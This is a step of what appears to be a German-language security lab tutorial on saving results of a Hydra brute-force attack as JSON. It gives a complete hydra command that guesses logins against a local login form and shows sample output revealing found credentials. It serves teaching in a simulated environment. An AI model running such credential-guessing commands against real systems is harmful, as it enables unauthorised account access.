Ausgabe als JSON mit der Option -b
In diesem Schritt untersuchen Sie, wie Sie die Ergebnisse eines Hydra-Angriffs im JSON-Format mithilfe der Option -b
ausgeben. JSON (JavaScript Object Notation) ist ein leichtgewichtiges Daten-Austauschformat, das sowohl für Menschen als auch für Maschinen leicht les- und schreibbar sowie parsier- und generierbar ist. Dieses Format ist besonders nützlich, wenn Sie die Ergebnisse programmatisch verarbeiten müssen, beispielsweise beim Integrieren der Hydra-Ausgabe in andere Tools oder Skripte.
Die Option -b
, kombiniert mit der Option -o
, weist Hydra an, die Ausgabe im angegebenen Format in die Datei zu speichern. Die Option -b
erfordert einen Formatparameter: text
(Standard), json
oder jsonv1
.
Sie setzen das gleiche Szenario fort: der simulierte Webserver läuft auf 127.0.0.1
auf Port 80
mit einem Anmeldeformular unter /login.php
, und die Dateien users.txt
und passwords.txt
liegen vor.
Um die Ergebnisse im JSON-Format in eine Datei namens hydra.json
im Verzeichnis ~/project
zu speichern, führen Sie den folgenden Befehl aus:
hydra -L ~/project/users.txt -P ~/project/passwords.txt -o ~/project/hydra.json -b json 127.0.0.1 http-post-form "/login.php:username=^USER^&password=^PASS^:Invalid username or password"
In diesem Befehl haben Sie die Option -b json
zusammen mit der Option -o ~/project/hydra.json
hinzugefügt. Dadurch wird Hydra angewiesen, die Ausgabe im JSON-Format in die Datei hydra.json
zu speichern.
Nach Ausführung des Befehls versucht Hydra, sich mit jeder Kombination aus Benutzername und Passwort anzumelden. Wenn eine erfolgreiche Anmeldung gefunden wird, werden der Benutzername und das Passwort im JSON-Format in die Datei hydra.json
geschrieben.
Um den Inhalt der Datei hydra.json
anzuzeigen, verwenden Sie den Befehl cat
:
cat ~/project/hydra.json
Beispielausgabe (falls erfolgreich):
Wenn Hydra die Kombination admin:password
findet, enthält die Datei hydra.json
ein JSON-Objekt ähnlich diesem:
{
"generator": {
"software": "Hydra",
"version": "v9.2",
"built": "2025-05-30 08:10:07",
"server": "127.0.0.1",
"service": "http-post-form",
"jsonoutputversion": "1.00",
"commandline": "hydra -L users.txt -P passwords.txt -o hydra.json -b json 127.0.0.1 http-post-form /login.php:username=^USER^&password=^PASS^:Invalid username or password"
},
"results": [
{
"port": 80,
"service": "http-post-form",
"host": "127.0.0.1",
"login": "admin",
"password": "password"
}
],
"success": true,
"errormessages": [],
"quantityfound": 1
}
Wenn keine erfolgreiche Anmeldung gefunden wird, enthält die Datei hydra.json
ein leeres JSON-Array:
[]
Dieses JSON-Format ermöglicht es Ihnen, die Ergebnisse mithilfe von Skriptsprachen wie Python oder JavaScript für weitere Analysen oder Automatisierungen leicht zu parsen.